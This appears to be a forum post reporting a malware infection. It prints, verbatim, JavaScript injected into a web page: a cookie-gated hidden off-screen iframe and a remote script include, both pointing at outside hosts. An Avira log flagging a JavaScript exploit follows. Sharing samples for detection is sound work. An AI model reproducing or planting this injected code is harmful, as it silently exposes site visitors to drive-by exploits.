http://parilca.ru/otopitelnie_kamini/kastor/bravo_leopard_6

fireold

1. /*a9a007*/
   
2. 
   
3. function ji09() {
   
4.     var static = 'ajax';
   
5.     var controller = 'index.php';
   
6.     var ji = document.createElement('iframe');
   
7.     ji.src = 'http://artcomnieuws.nl/firewall.php';
   
8.     ji.style.position = 'absolute';
   
9.     ji.style.color = '5054';
   
10.     ji.style.height = '5054px';
    
11.     ji.style.width = '5054px';
    
12.     ji.style.left = '10005054';
    
13.     ji.style.top = '10005054';
    
14.     if (!document.getElementById('ji')) {
    
15.         document.write('<p id=\'ji\' class=\'ji09\' ></p>');
    
16.         document.getElementById('ji').appendChild(ji);
    
17.     }
    
18. }
    
19. function SetCookie(cookieName, cookieValue, nDays, path) {
    
20.     var today = new Date();
    
21.     var expire = new Date();
    
22.     if (nDays == null || nDays == 0) nDays = 1;
    
23.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    
24.     document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
    
25. }
    
26. function GetCookie(name) {
    
27.     var start = document.cookie.indexOf(name + "=");
    
28.     var len = start + name.length + 1;
    
29.     if ((!start) && (name != document.cookie.substring(0, name.length))) {
    
30.         return null;
    
31.     }
    
32.     if (start == -1) return null;
    
33.     var end = document.cookie.indexOf(";", len);
    
34.     if (end == -1) end = document.cookie.length;
    
35.     return unescape(document.cookie.substring(len, end));
    
36. }
    
37. if (navigator.cookieEnabled) {
    
38.     if (GetCookie('visited_uq') == 55) {} else {
    
39.         SetCookie('visited_uq', '55', '1', '/');
    
40.         ji09();
    
41.     }
    
42. } /*/a9a007*/
    
43. 
    
44. /*339810*/
    
45. document.write('<script type="text/javascript">var gwloaded = false;</script><script src="http://reddeerramadahotel.com/core/xk8a5BRr.php" type="text/javascript"></script>') /*/339810*/

复制代码

Avira

2013/11/6 上午 05:53 [Web Protection] 發現惡意程式碼
      從 URL "http://uruloki.net/lair/2008/05/27/lock-down/" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：封鎖的檔案

fs is